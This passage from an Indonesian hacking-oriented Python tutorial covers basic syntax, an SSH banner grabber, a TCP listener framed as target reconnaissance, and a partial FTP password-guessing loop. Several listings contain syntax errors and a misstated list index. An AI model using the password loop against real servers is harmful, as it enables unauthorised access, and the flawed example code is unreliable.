Python 3 di sini, Anda akan membutuhkan pip untuk Python 3 untuk mengunduh dan
menginstal paket. Anda dapat mendownload dan menginstal pip dari repositori Kali dengan
memasukkan kode berikut:
kali >apt-get install python3-pip
Sekarang, untuk mengunduh modul dari PyPI, Anda cukup memasukkan ini:
kali >pip3 install <package name
Saat Anda mengunduh paket ini, paket tersebut akan ditempatkan secara otomatis di
direktori /usr/local//lib/<pythonversion>/distpackages. Jadi, misalnya, jika Anda telah
menggunakan pip untuk menginstal implementasi Python dari protokol SNMP untuk Python
3.6, Anda akan menemukannya di /usr/local/lib/python3.6/pysnmp. Jika Anda tidak yakin di
mana sebuah paket telah ditempatkan di sistem Anda (terkadang distribusi Linux yang
berbeda menggunakan direktori yang berbeda), Anda dapat memasukkan pip3 diikuti
dengan show dan nama paket, seperti yang ditunjukkan di sini:
kali >pip3 show pysnmp
Name: pysnmp
Version: 4.4.4
Summary: SNMP library for Python
Home-page: https://github.com/etingof/pysnmp
Author: Ilya Etingof <etingof@gmail.com>
Author-email: etingof@gmail.com License: BSD
Location: usr/local/lib/python3.6/dist-packages
Requires: ptsmi, pyansl, pycryptodomex
Anda dapat melihat ini memberi Anda banyak informasi tentang paket, termasuk direktori
yang menyimpannya. Sebagai alternatif untuk menggunakan pip, Anda dapat mengunduh
paket langsung dari situs (pastikan bahwa diunduh ke direktori yang benar),
membongkarnya (lihat Bab 9 tentang cara membongkar software), lalu jalankan yang berikut:
kali >python setup.py install
Tindakan ini akan menginstal semua paket yang belum dibongkar yang belum diinstal.
Memasang Modul Pihak Ketiga
Untuk memasang modul pihak ketiga yang dibuat oleh anggota komunitas Python
lainnya (berlawanan dengan paket Python yang dirilis secara resmi), Anda cukup
menggunakan wget untuk mengunduhnya dari mana pun disimpan secara online, buka
kompresi modul, lalu jalankan perintah python setup.py install.
Sebagai contoh, mari unduh dan instal modul Python untuk alat pemindaian port
yang kita gunakan di Bab 8, nmap, dari repositori online-nya di https://xael.org.
Pertama, kita perlu mengunduh modul dari xael.org:
kali >wget http://xael.org/norman/python/python-nmap/python-nmap-0.3.4.tar.gz
--2014-12-28 17:48:32-- http://xael.org/norman/python/python-nmap/python-nmap0.3.4.ta
r.gz
Resolving xael.org (xael.org)...194.36.166.10
Connecting to xael.org (xael.org)|194.36.166.10|:80...connected.
--snip--
2018-21-28 17.48:34 (113 KB/s) - 'python-nmap-0.3.4.tar.gz' saved
[40307/40307]
Di sini, Anda dapat melihat kami menggunakan perintah wget dan URL lengkap untuk paket
tersebut. Setelah paket diunduh, Anda perlu membuka kompresnya dengan tar, seperti yang
Anda pelajari di Bab 9:
kali >tar -xzf python-nmap-0.3.4.tar.gz
Kemudian ubah direktori ke direktori yang baru dibuat:
kali >cd python-nmap-.03.4
Terakhir, di direktori tersebut, instal modul baru dengan memasukkan yang berikut:
kali >~/python-nmap-0.3.4 >python setup.py install
running install
running build
running build_py
creating build
--snip--
running install_egg_info
writing /usr/local/lib/python2.7/dist-packages/python_nmap-0.3.4.egg.info
Modul lain yang tak terhitung banyaknya dapat diperoleh dengan cara ini juga. Setelah Anda
menginstal modul nmap ini, Anda dapat menggunakannya di skrip Python Anda dengan
mengimpor modul. Selengkapnya tentang ini nanti. Sekarang mari memulai beberapa
scripting.
17.2 MEMULAI SCRIPT DENGAN PYTHON
Sekarang setelah Anda mengetahui cara memasang modul di Python, saya ingin
membahas beberapa konsep dasar dan terminologi Python, lalu sintaks dasar. Setelah itu,
Anda akan menulis beberapa skrip yang akan berguna bagi Hacker di mana pun dan saya
harap akan menunjukkan kekuatan Python.
Sama seperti dengan bash atau bahasa skrip lainnya, kita dapat membuat skrip
Python menggunakan editor teks apa pun. Untuk bab ini, untuk menyederhanakan, saya
menyarankan Anda untuk menggunakan editor teks sederhana seperti Leafpad, tetapi
berguna untuk mengetahui bahwa sejumlah lingkungan pengembangan terintegrasi, atau
IDE, tersedia untuk digunakan. IDE seperti editor teks dengan kemampuan lainnya yang ada
di dalamnya, seperti kemampuan pengodean warna, debugging, dan kompilasi. Kali memiliki
IDE PyCrust bawaan, tetapi masih banyak lagi IDE yang tersedia untuk diunduh, salah
satunya adalah PyCharm milik JetBrain. Ini adalah IDE yang sangat baik dengan banyak
penyempurnaan yang membuat pembelajaran Python lebih mudah dan lebih cepat. Ada
versi profesional untuk pembelian dan edisi komunitas yang gratis. Anda dapat
menemukannya di https://www.jetbrains.com/pycharm/.
Setelah Anda menyelesaikan bab ini, jika Anda ingin terus belajar Python, PyCharm adalah
alat yang sangat baik yang akan membantu Anda dalam pengembangan Anda. Untuk saat ini,
kami akan menggunakan editor teks dasar seperti Leafpad untuk menyederhanakan
semuanya.
Perhatikan bahwa mempelajari bahasa pemrograman apa pun membutuhkan waktu
dan banyak kerja keras. Bersabarlah dengan diri sendiri—berusahalah untuk menguasai
setiap skrip kecil yang saya berikan sebelum melanjutkan.
MEMFORMAT DI PYTHON
Keterampilan dasar pembuatan skrip sangat penting untuk menjadi master Hacker.
Tanpa mengembangkan beberapa keterampilan dasar pembuatan skrip, Hacker pemula yang
hanya menggunakan alat yang dibuat oleh orang lain akan dikutuk ke dunia script kiddies. Ini
berarti bahwa Anda akan dibatasi untuk menggunakan alat yang dikembangkan oleh orang
lain, yang mengurangi kemungkinan keberhasilan Anda dan meningkatkan kemungkinan
deteksi oleh software antivirus (AV), intrusion detection systems (IDS), dan penegakan
hukum. Dengan beberapa keterampilan scripting, Anda dapat meningkatkan diri Anda ke
eselon atas dari master Hacker!
Variabel
Sekarang, ke beberapa konsep yang lebih praktis di Python. Variabel adalah salah
satu jenis data paling dasar dalam pemrograman, dan Anda pernah menemukannya di Bab 8
dengan skrip bash. Secara sederhana, variabel adalah nama yang dikaitkan dengan nilai
tertentu sehingga setiap kali Anda menggunakan nama itu dalam program Anda, itu akan
memanggil nilai terkait.
Cara kerjanya adalah bahwa nama variabel menunjuk ke data yang disimpan di lokasi
memori, yang mungkin berisi segala jenis nilai, seperti bilangan bulat, bilangan real, string,
bilangan floatingpoint, Boolean (pernyataan benar atau salah), atau daftar. kamus. Kami
akan secara singkat mencakup semua ini di bab ini.
Agar terbiasa dengan dasar-dasarnya, mari buat skrip sederhana yang ditampilkan di
Daftar 17.1, di Leafpad dan simpan sebagai Hackersbangkit_greetings.py.
#! /usr/bin/python3
name="OccupyTheWeb"
print ("Greetings to " + name + " from Hackers-Bangkit. The BestPlace to Learn Hacking!")
Daftar 17.1 Program Python pertama Anda
Baris pertama hanya memberi tahu sistem Anda bahwa Anda ingin menggunakan
juru bahasa Python untuk menjalankan program ini, bukan bahasa lainnya.
Baris kedua menentukan variabel yang disebut nama dan memberi nilai untuk
variabel tersebut (dalam hal ini, "OccupyTheWeb"). Anda harus mengubah nilai ini menjadi
nama Anda sendiri. Nilai dari variabel ini adalah dalam format data karakter string, artinya
konten diapit dalam tanda kutip dan diperlakukan seperti teks. Anda juga dapat
memasukkan angka ke dalam string, dan angka tersebut akan diperlakukan seperti teks,
sehingga Anda tidak akan dapat menggunakannya dalam perhitungan numerik.
Baris ketiga membuat pernyataan print() yang menggabungkan Greetings to dengan
nilai dalam variabel nama, diikuti dengan teks dari Hackers-Bangkit. Tempat Terbaik untuk
Belajar Hacking! Pernyataan print() akan menampilkan apa pun yang Anda teruskan ke
dalam tanda kurung di layar Anda.
Sekarang, sebelum Anda dapat menjalankan skrip ini, Anda perlu memberi diri Anda
izin untuk menjalankannya. Kami membutuhkan perintah chmod untuk melakukannya.
(Untuk informasi selengkapnya tentang izin Linux, lihat Bab 5).
kali >chmod 755 Hackers-bangkit_greetings.py
Seperti yang Anda lakukan di Bab 8 dengan skrip bash, untuk menjalankan skrip Anda,
awali nama skrip dengan titik dan garis miring. Direktori Anda saat ini tidak ada dalam
variabel $PATH untuk alasan keamanan, jadi kami harus mendahului nama skrip dengan./
untuk memberi tahu sistem agar mencari di direktori saat ini untuk nama file dan
menjalankannya. Untuk menjalankan skrip khusus ini, masukkan yang berikut:
kali >./Hackers-bangkit_greetings.py
Greetings to OccupyTheWeb from Hackers-Bangkit. The Best Place to Learn Hacking!
Di Python, setiap jenis variabel diperlakukan seperti kelas.
Kelas adalah sejenis templat untuk membuat objek. Lihat “Object-Oriented
Programming (OOP)” dalam skrip berikut, saya telah mencoba menunjukkan beberapa jenis
variabel. Variabel dapat menyimpan lebih dari sekadar string. Daftar 17.2 menampilkan
beberapa variabel yang berisi jenis data berbeda.
#! /usr/bin/python3
HackersBangkitStringVariable = "Hackers-Bangkit Is the Best Place to Learn Hacking
HackersBangkitIntegerVariable = 12
HackersBangkitFloatingPointVariable = 3.1415
HackersBangkitList = [1,2,3,4,5,6]
HackersBangkitDictionary = {'name' : 'OccupyTheWeb', 'value' : 27)
print (HackersBangkitStringVariable)
print (HackersBangkitIntegerVariable)
print (HackersBangkitFloatingPointVariable)
Daftar 17.2 Serangkaian struktur data yang terkait dengan variabel
Ini membuat lima variabel yang berisi tipe data yang berbeda: string, diperlakukan
sebagai teks; integer, yang merupakan tipe angka tanpa desimal yang dapat digunakan
dalam operasi numerik; float, yang merupakan tipe angka yang juga dapat digunakan dengan
desimal dalam operasi numerik; daftar, yang merupakan serangkaian nilai yang disimpan
bersama; dan kamus, yang merupakan kumpulan data yang tidak berurutan di mana setiap
nilai dipasangkan dengan kunci, yang berarti setiap nilai dalam kamus memiliki kunci
pengenal yang unik. Ini berguna ketika Anda ingin merujuk atau mengubah nilai dengan
merujuk ke nama kunci. Misalnya, katakanlah Anda memiliki kamus bernama fruit_color
yang dikonfigurasi seperti berikut:
fruit_color = {'apple' : 'red', 'grape' : 'green', orange : 'orange'}
Jika nanti dalam skrip Anda Anda ingin mendapatkan fruit_color dari anggur, Anda cukup
menyebutnya dengan kuncinya:
print (fruit_color['grape'])
Anda juga dapat mengubah nilai untuk kunci tertentu; misalnya, di sini kami mengubah
warna apel:
fruit_color['apple'] : 'green'
Kami akan membahas daftar dan kamus secara lebih mendetail nanti di bab ini.
Buat skrip ini di editor teks apa pun, simpan sebagai secondpythonscript.py, lalu beri
izin pada diri Anda untuk menjalankannya, seperti:
kali >chmod 755 secondpythonscript.p
Saat kami menjalankan skrip ini, skrip akan mencetak nilai variabel string, variabel integer,
dan variabel angka floatingpoint, seperti:
kali >./secondpythonscript.py
Hackers-Bangkit Is the Best Place to Learn Hacking
12
3.1415
Catatan
Di Python, tidak tidak perlu mendeklarasikan variabel sebelum menetapkan nilai padanya,
seperti dalam beberapa bahasa pemrograman lainnya.
Komentar
Seperti bahasa pemrograman dan skrip lainnya, Python memiliki kemampuan untuk
menambahkan komentar. Komentar hanyalah bagian dari kode Anda—kata, kalimat, dan
bahkan paragraf—yang menjelaskan apa yang dimaksud dengan kode tersebut. Python akan
mengenali komentar dalam kode Anda dan mengabaikannya. Meskipun komentar tidak
diperlukan, komentar tersebut sangat membantu saat Anda kembali ke kode Anda dua
tahun kemudian dan tidak dapat mengingat apa yang harus dilakukan. Pemrogram sering
menggunakan komentar untuk menjelaskan apa yang dilakukan oleh blok kode tertentu atau
untuk menjelaskan logika di balik pemilihan metode pengkodean tertentu.
Komentar diabaikan oleh penerjemah. Ini berarti bahwa setiap baris yang ditetapkan
sebagai komentar akan dilewati oleh penerjemah, yang terus berlanjut sampai menemukan
baris kode yang sah. Python menggunakan simbol # untuk menunjukkan awal dari komentar
tunggal. Jika Anda ingin menulis komentar multibaris, Anda dapat menggunakan tiga tanda
kutip ganda (""") di awal dan akhir bagian komentar.
Seperti yang dapat Anda lihat di skrip berikut, saya telah menambahkan komentar
singkat multibaris ke skrip Hackersbangkit_greetings.py sederhana kami.
#! /usr/bin/python3
""" This is my first Python script with comments. Comments are used to help explain code to
ourselves and fellow programmers. In this case, this simple script creates a greeting for
the user.
"""
name = "OccupyTheWeb"
print ("Greetings to "+name+" from Hackers-Bangkit. The Best Place to Learn Hacking!")
Saat kami mengeksekusi skrip lagi, tidak ada perubahan yang dibandingkan terakhir kali skrip
dijalankan, seperti yang Anda dapat lihat di sini:
kali >./Hackers-bangkit_greetings.py
Greetings to OccupyTheWeb from Hackers-Bangkit. The Best Place to Learn Hacking!
Ini berjalan persis sama seperti di Daftar 17.1, tetapi sekarang kami memiliki beberapa info
tentang skrip kami saat kami kembali ke kode di lain waktu.
Fungsi
Fungsi dalam Python adalah bit kode yang melakukan tindakan tertentu. Pernyataan
print() yang Anda gunakan sebelumnya, misalnya, adalah fungsi yang menampilkan nilai apa
pun yang Anda berikan ke sana. Python memiliki sejumlah fungsi bawaan yang dapat
langsung Anda impor dan gunakan. Sebagian besar dari mereka tersedia pada penginstalan
default Python Anda di Kali Linux, meskipun masih banyak lagi yang tersedia dari
perpustakaan yang dapat diunduh. Mari kita lihat hanya beberapa dari ribuan fungsi yang
tersedia untuk Anda:
exit() keluar dari sebuah program.
float() mengembalikan argumennya sebagai angka floatingpoint.
Misalnya, float(1) akan mengembalikan 1.0 .
help() menampilkan help pada objek yang ditentukan oleh argumennya.
int() mengembalikan bagian bilangan bulat dari argumennya (terpotong).
len() mengembalikan jumlah elemen dalam daftar atau kamus.
max() mengembalikan nilai maksimum dari argumennya (daftar ).
open() membuka file dalam mode yang ditentukan oleh argumennya.
range() mengembalikan daftar bilangan bulat antara dua nilai yang ditentukan oleh
argumennya.
sort() mengambil daftar sebagai argumen dan mengembalikannya dengan elemennya
secara berurutan.
type() mengembalikan jenis argumennya (misalnya, int, file, metode, fungsi).
Anda juga dapat membuat fungsi Anda sendiri untuk melakukan tugas khusus. Karena ada
begitu banyak yang sudah ada dalam bahasa ini, selalu ada baiknya memeriksa apakah suatu
fungsi sudah ada sebelum melakukan upaya membangunnya sendiri. Ada banyak cara untuk
melakukan pemeriksaan ini. Salah satunya adalah dengan melihat dokumentasi resmi
Python yang tersedia di https://docs.python.org. Pilih versi yang Anda kerjakan lalu pilih
Referensi Library.
17.3 DAFTAR
Banyak bahasa pemrograman menggunakan array sebagai cara untuk menyimpan
beberapa objek terpisah. Array adalah daftar nilai yang dapat diambil, dihapus, diganti, atau
dikerjakan dengan berbagai cara dengan merujuk nilai tertentu dalam array berdasarkan
posisinya dalam daftar, yang dikenal sebagai indeksnya. Penting untuk diperhatikan bahwa
Python, seperti banyak lingkungan pemrograman lainnya, mulai menghitung indeks pada 0,
jadi elemen pertama dalam daftar adalah indeks 0, yang kedua adalah indeks 1, yang ketiga
adalah indeks 3, dan seterusnya. Jadi, misalnya, jika kita ingin mengakses nilai ketiga dalam
array, kita dapat melakukannya dengan array [2]. Di Python, ada beberapa implementasi
array, tetapi mungkin implementasi yang paling umum dikenal sebagai daftar.
Daftar di Python dapat diubah, artinya daftar dapat menyediakan elemen berturutturut saat Anda menjalankan semuanya. Hal ini berguna karena cukup sering ketika kami
menggunakan daftar, kami menelusurinya untuk menemukan nilai tertentu, untuk mencetak
nilai satu per satu, atau untuk mengambil nilai dari satu daftar dan memasukkannya ke
dalam daftar lain.
Jadi, mari kita bayangkan kita perlu menampilkan elemen keempat dalam daftar
HackersBangkitList dari Daftar 17.2. Kita dapat mengakses elemen tersebut dan
mencetaknya dengan memanggil nama daftar, HackersBangkitList, diikuti dengan indeks
elemen yang ingin kita akses yang diapit dalam tanda kurung siku.
Untuk mengujinya, tambahkan baris berikut ke bagian bawah skrip pythonscript.py
kedua Anda untuk mencetak elemen di indeks 3 di HackersBangkitList:
--snip--
print (HackersBangkitStringVariable)
print (HackersBangkitIntegerVariable)
print (HackersBangkitFloatingPointVariable)
print (HackersBangkitList[3])
Saat kami menjalankan skrip ini lagi, kami dapat melihat bahwa pernyataan cetak baru
mencetak 4 di samping keluaran lainnya:
kali >./secondpythonscript.py
Hackers-Bangkit Is the Best Place to Learn Hacking
12
3.1415
4
17.4 MODUL
Modul hanyalah bagian dari kode yang disimpan ke dalam file terpisah sehingga Anda
dapat menggunakannya sebanyak yang Anda butuhkan dalam program Anda tanpa harus
mengetik semuanya lagi. Jika Anda ingin menggunakan modul atau kode apa pun dari modul,
Anda perlu mengimpornya. Seperti yang telah dibahas sebelumnya, menggunakan modul
standar dan modul pihak ketiga adalah salah satu fitur utama yang membuat Python sangat
kuat bagi para Hacker. Jika kami ingin menggunakan modul nmap yang telah kami instal
sebelumnya, kami akan menambahkan baris berikut ke skrip kami:
Nanti dalam bab ini, kita akan menggunakan dua modul yang sangat berguna: socket dan
ftplib.
import nmap
Nanti dalam bab ini, kita akan menggunakan dua modul yang sangat berguna: socket
dan ftplib.
17.5 OBJECT-ORIENTED PROGRAMMING (OOP)
Sebelum kita mempelajari lebih dalam tentang Python, mungkin ada baiknya
meluangkan beberapa menit untuk membahas konsep object-oriented programming (OOP).
Python, seperti kebanyakan bahasa pemrograman saat ini (C++, Java, dan Ruby, untuk
menyebutkan beberapa) mengikuti model OOP.
Gambar 17.2 menunjukkan konsep dasar di balik OOP: alat utama bahasa adalah
objek, yang memiliki properti dalam bentuk atribut dan status, serta metode yang
merupakan tindakan yang dilakukan oleh atau pada objek.
Gambar 17.2 Ilustrasi pemrograman berorientasi objek
Ide di balik bahasa pemrograman berbasis OOP adalah untuk membuat objek yang
bertindak seperti sesuatu di dunia nyata. Misalnya, mobil adalah suatu benda yang memiliki
sifat, seperti roda, warna, ukuran, dan jenis mesinnya; ia juga memiliki metode, yaitu
tindakan yang dilakukan mobil, seperti mempercepat dan mengunci pintu. Dari perspektif
bahasa alami manusia, objek adalah kata benda, properti adalah kata sifat, dan metode
umumnya adalah kata kerja.
Objek adalah anggota kelas, yang pada dasarnya adalah template untuk membuat
objek dengan variabel awal, properti, dan metode bersama. Misalnya, katakanlah kami
memiliki kelas yang disebut mobil; mobil kami (BMW) akan menjadi anggota kelas mobil.
Kelas ini juga akan mencakup benda/mobil lain, seperti Mercedes dan Audi, seperti yang
ditunjukkan pada Gambar 17.3.
Gambar 17.3 Kelas dan objek OOP
Kelas mungkin juga memiliki subkelas. Kelas mobil kami memiliki subkelas BMW, dan
objek dari subkelas tersebut mungkin adalah model 320i.
Setiap objek akan memiliki properti (make, model, tahun, dan warna) dan metode
(mulai, mengemudi, dan parkir), seperti yang ditunjukkan pada Gambar 17.4.
Gambar 17.4 properti OOP dan metode
Dalam bahasa OOP, objek mewarisi karakteristik kelasnya, sehingga BMW 320i akan
mewarisi metode mulai, mengemudi, dan parkir dari mobil kelas.
Konsep-konsep OOP ini sangat penting untuk memahami cara kerja Python dan
bahasa OOP lainnya, seperti yang akan Anda lihat dalam skrip di bagian berikut.
17.6 KOMUNIKASI JARINGAN DI PYTHON
Sebelum kita beralih ke konsep Python lainnya, mari kita gunakan apa yang telah Anda
pelajari sejauh ini untuk menulis beberapa skrip peretasan yang harus dilakukan dengan
koneksi jaringan.
Membangun Klien TCP Kami akan membuat koneksi jaringan di Python menggunakan
modul soket. Saya telah menyebutkan bahwa Python dilengkapi dengan perpustakaan
modul untuk banyak tugas. Dalam hal ini, kita memerlukan modul soket untuk membuat
koneksi TCP. Mari kita melihatnya dalam tindakan.
Lihat skrip di Daftar 17.3 bernama HackersBangkitSSHBannerGrab.py (Saya tahu, ini
namanya panjang, tetapi bersabarlah dengan saya di sini). Spanduk adalah apa yang
ditampilkan aplikasi saat seseorang atau sesuatu terhubung ke sana. Ini semacam seperti
aplikasi yang mengirimkan sapaan mengumumkan apa itu. Hacker menggunakan teknik yang
dikenal sebagai spanduk meraih untuk mengetahui informasi penting tentang aplikasi atau
layanan apa yang berjalan di port.
#! /usr/bin/python3
➊ import socket
➋ s = socket.socket()
➌ s.connect(("192.168.1.101", 22))
➍ answer = s.recv(1024)
➎ print (answer)
s.close
Daftar 17.3 Skrip Python bannergrabbing
Pertama, kita impor modul socket ➊ agar dapat menggunakan fungsi dan alatnya. Di
sini, kita akan menggunakan alat jaringan dari modul socket untuk menjaga antarmuka
koneksi melalui jaringan untuk kita. Soket menyediakan cara bagi dua node komputer untuk
berkomunikasi satu sama lain. Biasanya, satu adalah server dan satu adalah klien.
Kemudian, kita membuat variabel baru, s dan mengaitkannya dengan kelas soket dari
modul soket ➋. Dengan cara ini, kita tidak perlu merujuk sintaks lengkap socket.socket()
kapan pun kita ingin menggunakan kelas socket—kita cukup menggunakan nama variabel s.
Kami kemudian menggunakan metode connect() dari modul soket ➌ untuk membuat
koneksi jaringan ke IP dan port tertentu. Ingatlah bahwa metode adalah fungsi yang tersedia
untuk objek tertentu. Sintaksnya adalah object.method (misalnya, socket.connect ). Dalam
hal ini, saya menghubungkan ke alamat IP 192.168.1.101, yang merupakan alamat IP mesin
di jaringan saya, dan port 22, yang merupakan port SSH default. Anda dapat mengujinya
di instance lain dari Linux atau Kali. Sebagian besar memiliki port 22 terbuka secara default.
Setelah Anda membuat sambungan, ada beberapa hal yang dapat Anda lakukan. Di
sini, kami menggunakan metode recv untuk membaca 1024 byte data dari soket ➍ dan
menyimpannya dalam jawaban bernama answer; 1024 byte ini akan berisi informasi
spanduk. Kemudian kami mencetak konten variabel tersebut ke layar dengan print() fungsi
➎ untuk melihat data apa yang telah dilewatkan melalui soket tersebut, memungkinkan
kami untuk memata-matainya! Di baris akhir, kami menutup koneksi.
Simpan skrip ini sebagai HackersBangkitSSHBannerGrab.py, lalu ubah izinnya
menggunakan perintah chmod sehingga Anda dapat menjalankannya. Mari kita jalankan
skrip ini untuk terhubung ke sistem Linux lain (Anda mungkin menggunakan sistem Ubuntu
atau bahkan sistem Kali lain) di port 22. Jika SSH berjalan di port itu, kita harus dapat
membaca dan mencetaknya ke variabel kita ke layar, seperti yang ditunjukkan di sini:
kali >./HackersBangkitSSHBannerGrab.py
SSH-2.0-OpenSSH_7.3p1 Debian-1
Kami baru saja membuat skrip Python bannergrabbing sederhana! Kita dapat menggunakan
skrip ini untuk mengetahui aplikasi, versi, dan sistem operasi apa yang berjalan di alamat IP
dan port tersebut. Ini memberi kami informasi penting yang dibutuhkan Hacker sebelum
menyerang sistem. Inilah yang pada dasarnya dilakukan oleh situs web Shodan.io untuk
hampir setiap alamat IP di planet ini, dan situs ini mengkatalog dan mengindeks informasi ini
untuk kami telusuri.
Membuat Pendengar TCP
Kami baru saja membuat klien TCP yang dapat membuat koneksi ke alamat dan port
TCP/IP lain, lalu memata-matai informasi yang sedang dikirim. Soket tersebut juga dapat
digunakan untuk membuat pendengar TCP, untuk mendengarkan koneksi dari pihak luar ke
server Anda. Mari coba lakukan itu selanjutnya.
Dalam skrip Python yang ditampilkan di Daftar 17.4, Anda akan membuat socket di
port di sistem Anda yang, saat seseorang terhubung ke socket tersebut, mengumpulkan
informasi kunci tentang sistem konektor. Masukkan skrip dan simpan sebagai tcp_server.py.
Pastikan untuk memberi diri Anda izin eksekusi dengan chmod
#! /usr/bin/python3
import socket
➊ TCP_IP = "192.168.181.190"
TCP_PORT = 6996
BUFFER_SIZE = 100
➋ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
➌ s.bind((TCP_IP, TCP_PORT))
➍ s.listen (1)
➎ conn, addr = s.accept()
print ('Connection address: ', addr )
while 1:
data=conn.recv(BUFFER_SIZE)
if not data:break
print ("Received data: ", data)
conn.send(data) #echo
conn.close
Daftar 17.4 Skrip Python Pendengar TCP
Kami menyatakan bahwa kami ingin skrip dijalankan dengan interpreter Python dan
kemudian mengimpor modul soket seperti sebelumnya, sehingga kami dapat menggunakan
kemampuannya. Kami kemudian menentukan variabel untuk menyimpan informasi untuk
alamat TCP/IP, port untuk mendengarkan, dan ukuran buffer data yang ingin kami tangkap
dari sistem penghubung ➊.
Kami mendefinisikan socket ➋ dan mengikat socket ke alamat IP dan port ➌
menggunakan variabel yang baru saja kami buat. Kami menyatakan soket untuk
mendengarkan menggunakan metode listen() dari pustaka soket ➍.
Kami kemudian mengambil alamat IP dan port dari sistem penghubung
menggunakan metode penerimaan library accept, dan kami mencetak informasi tersebut ke
layar sehingga pengguna dapat melihatnya. Perhatikan sintaks while 1: di sini; kita akan
membahas ini lebih lanjut di bab ini, tetapi untuk saat ini ketahuilah bahwa ini digunakan
untuk menjalankan kode indentasi yang muncul setelahnya tanpa batas, artinya Python
terus memeriksa data .
Terakhir, kami menempatkan informasi dari sistem penghubung ke dalam buffer,
mencetaknya, lalu menutup koneksi. Sekarang, buka komputer lain di jaringan Anda dan
gunakan browser untuk menyambung ke port 6996 yang ditentukan dalam skrip kami.
Jalankan skrip tcp_server.py, dan Anda akan dapat menghubungkan dan mengumpulkan
informasi penting tentang sistem tersebut, termasuk alamat IP dan port sistem penghubung,
seperti yang ditunjukkan di sini:
kali >./tcp_server.py
Connection Address: ('192.168.181.190', 45368)
Received data: Get /HTTP/1.1
Host:192.168.181.190:6996
User -Agent:Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gec
--snip--
Ini adalah informasi penting yang harus dikumpulkan oleh seorang Hacker sebelum
memutuskan untuk mengeksploitasi. Eksploitasi (atau peretasan) sangat spesifik untuk
sistem operasi, aplikasi, dan bahkan bahasa yang digunakan, sehingga Hacker perlu
mengetahui sebanyak mungkin informasi tentang target sebelum melanjutkan. Tindakan
mengumpulkan informasi sebelum peretasan ini sering disebut sebagai pengintaian. Anda
baru saja mengembangkan alat yang akan mengumpulkan informasi pengintaian utama
tentang target potensial, sangat mirip dengan alat Hacker populer p0F!
17.7 DICTIONARY, LOOP, DAN KONTROL STATEMENT
Mari kita terus memperluas pemahaman Anda tentang Python dan kemudian
menggunakan semua yang telah Anda pelajari sejauh ini untuk membangun cracker kata
sandi untuk server FTP.
Dictionary
Dictionary menyimpan informasi sebagai pasangan tak berurutan, di mana setiap
pasangan berisi kunci dan nilai terkait. Kami dapat menggunakan kamus untuk menyimpan
daftar item dan memberi label pada setiap item sehingga kami dapat menggunakan dan
merujuk ke item tersebut satu per satu. Kami mungkin menggunakan kamus untuk
menyimpan, misalnya, ID pengguna dan nama terkaitnya, atau untuk menyimpan
kerentanan yang diketahui terkait dengan host tertentu. Kamus dalam Python berperan
seperti array asosiatif dalam bahasa lain.
Seperti daftar, kamus dapat diubah, artinya kita menggunakan struktur kontrol
seperti pernyataan untuk menelusuri seluruh kamus, menetapkan setiap elemen kamus ke
variabel sampai kita tiba di akhir kamus.
Antara lain, Anda mungkin menggunakan struktur ini dalam membangun cracker kata
sandi yang mengulangi setiap kata sandi yang disimpan dalam kamus sampai salah satu
berfungsi atau sampai cracker mencapai akhir kamus. Sintaks untuk membuat kamus adalah
sebagai berikut:
dict = {key1 :value1 , key2 :value2 , key3 :value3...}
Perhatikan bahwa untuk kamus, Anda menggunakan tanda kurung kurawal dan memisahkan
item dengan koma. Anda dapat menyertakan sebanyak pasangan nilai kunci sebanyak yang
Anda suka.
Pernyataan Kontrol
Pernyataan kontrol memungkinkan kode Anda untuk membuat keputusan
berdasarkan beberapa kondisi. Ada beberapa cara di Python untuk mengontrol aliran skrip.
Mari kita lihat beberapa struktur ini di Python.
Pernyataan if Struktur
if di Python, seperti dalam banyak bahasa pemrograman lain termasuk bash,
digunakan untuk memeriksa apakah suatu kondisi benar atau tidak dan menjalankan set
kode yang berbeda untuk setiap skenario. Sintaksnya terlihat seperti ini:
if conditional expression
run this code if the expression is true
Pernyataan if berisi kondisi yang mungkin seperti if variabel < 10, misalnya. Jika
kondisi terpenuhi, ekspresi dievaluasi menjadi benar, dan kemudian kode yang mengikuti,
yang dikenal sebagai blok kontrol, dijalankan. Jika pernyataan bernilai salah, maka
pernyataan di blok kontrol dilewati dan tidak dieksekusi.
Di Python, blok kontrol harus diindentasi. Lekukan ini mengidentifikasi blok kontrol
ke penerjemah. Pernyataan berikutnya yang tidak memiliki indentasi berada di luar blok
kontrol dan oleh karena itu bukan bagian dari pernyataan jika, dan ini adalah cara Python
mengetahui ke mana harus melompati jika kondisi tidak terpenuhi.
if...else
Struktur if...else di Python terlihat seperti ini:
if conditional expression
*** # run this code when the condition is met
else
*** # run this code when the condition is not met
Seperti sebelumnya, pertama-tama penerjemah memeriksa kondisi dalam ekspresi if. Jika
mengevaluasi menjadi benar, penerjemah mengeksekusi pernyataan di blok kontrol. Jika
pernyataan bersyarat bernilai salah, blok kontrol yang mengikuti pernyataan else akan
dieksekusi sebagai gantinya.
Misalnya, di sini kami memiliki cuplikan kode yang memeriksa nilai ID pengguna; jika
adalah 0 (pengguna root di Linux selalu UID 0), maka kami mencetak pesan “Anda adalah
pengguna root”. Jika tidak, jika itu adalah nilai lain, kami mencetak pesan “Anda BUKAN
pengguna root”.
if
userid == 0
print ("You are the root user")
else
print ("You are NOT the root user")
Loops
Loops adalah struktur lain yang sangat berguna di Python. Loop memungkinkan
pemrogram untuk mengulangi blok kode beberapa kali, bergantung pada nilai atau kondisi.
Dua yang paling banyak digunakan adalah while dan for .
The while Loop
Loop while mengevaluasi ekspresi Boolean (ekspresi yang hanya dapat mengevaluasi
true atau false) dan melanjutkan eksekusi sementara ekspresi dievaluasi ke true.
Misalnya, kita dapat membuat cuplikan kode yang mencetak setiap angka dari 1 hingga 10 la
lu keluar dari loop, seperti begitu:
count = 1
while (count <= 10):
print (count)
count += 1
Blok kontrol indentasi kemudian berjalan selama kondisinya benar.
The for Loop
The for for loop dapat menetapkan nilai dari daftar, string, kamus, atau struktur yang
dapat diubah lainnya ke variabel indeks setiap kali melalui loop, memungkinkan kita untuk
menggunakan setiap item dalam struktur satu demi satu. Misalnya, kita dapat menggunakan
for loop untuk mencoba sandi hingga menemukan kecocokan, seperti:
for password in passwords:
attempt = connect (username, password)
if attempt == "230"
print ("Password found: " + password)
sys.exit (0)
Dalam cuplikan kode ini, kami membuat pernyataan untuk yang dilanjutkan melalui daftar
sandi yang telah kami berikan dan berusaha menghubungkan dengan nama pengguna dan
sandi. Jika upaya koneksi menerima kode 230, yang merupakan kode untuk koneksi yang
berhasil, program akan mencetak "Pasword found:" dan kemudian kata sandinya. Itu lalu
